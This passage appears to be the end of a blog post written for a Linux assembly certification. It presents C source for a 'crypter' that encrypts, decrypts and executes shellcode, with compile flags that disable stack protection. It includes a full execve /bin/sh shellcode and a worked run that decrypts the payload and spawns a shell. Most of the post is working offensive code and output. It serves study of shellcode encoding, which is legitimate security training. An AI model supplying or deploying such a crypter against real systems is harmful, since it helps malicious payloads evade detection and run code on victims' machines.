unsigned char* parseByteString(char *byteString)
{
    unsigned int byteStringLength = strlen(byteString);
    char byteStringCopy[byteStringLength];
    strcpy(byteStringCopy, byteString);

    unsigned int length = 0;
    for (unsigned int i = 0; i < byteStringLength; i++)
    {
        if (byteStringCopy[i] == 'x')
        {
            length += 1;
        }
    }

    unsigned char* parsedString = (unsigned char*)malloc(sizeof (unsigned char) * length);
    const char delim[3] = "\\x";
    char *b;

    b = strtok(byteStringCopy, delim);
    int currentByte = 0;

    while( b != NULL ) {
        char parsedByte = (char)(int)strtol(b, NULL, 16);
        parsedString[currentByte] = parsedByte;
        currentByte += 1;
        b = strtok(NULL, delim);
    }

    return parsedString;
}

int main(int argc, char **argv)
{
    short debug = argc == 5;
    int characterSet[CHARACTER_SET_SIZE][CHARACTER_SET_SIZE];

    // Loop for each permutation required
    for (int i = 0; i < CHARACTER_SET_SIZE; i++)
    {
        // Add each character to the right of the
        // initial offset to the start of the row.
        for (int i2 = i; i2 < CHARACTER_SET_SIZE; i2++)
        {
            characterSet[i][i2 - i] = i2 + FIRST_BYTE;
        }

        // Rotate the characters to the left of the
        // initial offset to the end of the row.
        for (int i2 = 0; i2 < i; i2++)
        {
            characterSet[i][(CHARACTER_SET_SIZE - i) + i2] = i2 + FIRST_BYTE;
        }
    }

    char *mode = argv[1];

    unsigned char *baseKey = parseByteString(argv[2]);
    int keyLength = strlen((char *)baseKey);

    if (debug)
    {
        printf("Key: ");

        for (unsigned int i = 0; i < strlen((char *)baseKey); i++)
        {
            printf("%02x ", baseKey[i]);
        }

        printf("\n");
    }


    unsigned char *payload = parseByteString(argv[3]);
    int payloadLength = strlen((char *)payload);

    if (debug)
    {
        printf("Payload: ");

        for (unsigned int i = 0; i < strlen((char *)payload); i++)
        {
            printf("%02x ", payload[i]);
        }

        printf("\n");
    }


    int inflatedKeySize = keyLength;
    int iterationsNeeded = 1;

    // If the payload is larger than the key, the key needs to be
    // repeated N times to make it match or exceed the length of
    // the payload.
    if (payloadLength > keyLength)
    {
        // Determine the number of times the key needs to be expanded
        // to meet the length required to encrypt the payload.
        iterationsNeeded = (int)((payloadLength / keyLength) + 0.5) + 1;

        // Determine the new key size required and store it in
        // inflatedKeySize for use when initialising the new key.
        inflatedKeySize = keyLength * iterationsNeeded;
    }

    // Initialise the key with a null byte so that strcat can work.
    unsigned char key[inflatedKeySize];
    key[0] = '\x00';

    // Concatenate the base key on to the new key to ensure it
    // is long enough to encrypt the payload.
    for (int i = 0; i < iterationsNeeded; i++)
    {
        strcat((char *)key, (char *)baseKey);
    }

    if (strcmp(mode, "e") == 0)
    {
        return encrypt(characterSet, key, payload, debug);
    }

    if (strcmp(mode, "d") == 0)
    {
        return decrypt(characterSet, key, payload, 0, debug);
    }

    if (strcmp(mode, "x") == 0)
    {
        return decrypt(characterSet, key, payload, 1, debug);
    }

    return 0;
}

This code is capable of handling the following tasks:

  • Encrypting shellcode
  • Decrypting shellcode
  • Executing encrypted shellcode

Using the Crypter

To compile the code, save it to a file named crypter.c and run the following command:

gcc -m32 -fno-stack-protector -z execstack crypter.c -o crypter

It is important to use the no-stack-protector flag, otherwise the execution of the shellcode will not be possible.

Once compiled, it can be used by running the crypter executable. The executable accepts 4 positional arguments, which in order are:

  • mode - e to encrypt, d to decrypt or x to execute the payload
  • key - the key specified as escaped bytes; e.g. \xde\xad\xbe\xef
  • payload - the payload to be encrypted, decrypted or executed specified as escaped bytes
  • debug - any arbitrary value placed here will enable debug mode, which will show some extra information when encoding payloads

In the below example, an execve shellcode is encrypted using the key \xde\xad\xbe\xef and the encrypted shellcode is output:

$ ./crypter e "\xde\xad\xbe\xef" "\xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"

Encrypted: \xc9\xc6\x1c\x20\xb9\x35\x1c\xf5\x67\x23\xc5\x78\x3c\xb8\x4b\x0d\x6b\xfa\xc5\x7c\x34\xb8\xee\xaf\x8e\xb7\x8b\x6f\xc6\x8e\xbd\xee\xdd\xdb\x20\x58\x4c\xdb\x31\x57\x1f\xee\xff\x31\x20\xef\x01\x32\x21

To verify this is reversible, the decrypt mode is used, passing in the same key and the encrypted payload:

$ ./crypter d "\xde\xad\xbe\xef" "\xc9\xc6\x1c\x20\xb9\x35\x1c\xf5\x67\x23\xc5\x78\x3c\xb8\x4b\x0d\x6b\xfa\xc5\x7c\x34\xb8\xee\xaf\x8e\xb7\x8b\x6f\xc6\x8e\xbd\xee\xdd\xdb\x20\x58\x4c\xdb\x31\x57\x1f\xee\xff\x31\x20\xef\x01\x32\x21"

Decrypted: \xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43

As can be seen in the above output, the original payload is successfully retrieved.

Using the execution mode, the key and encrypted payload can be specified once again, but this time, the decrypted payload will be executed, and an sh shell spawned:

$ ./crypter x "\xde\xad\xbe\xef" "\xc9\xc6\x1c\x20\xb9\x35\x1c\xf5\x67\x23\xc5\x78\x3c\xb8\x4b\x0d\x6b\xfa\xc5\x7c\x34\xb8\xee\xaf\x8e\xb7\x8b\x6f\xc6\x8e\xbd\xee\xdd\xdb\x20\x58\x4c\xdb\x31\x57\x1f\xee\xff\x31\x20\xef\x01\x32\x21"
$ whoami
rastating

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE-1340

All source files can be found on GitHub at https://github.com/rastating/slae

❌
❌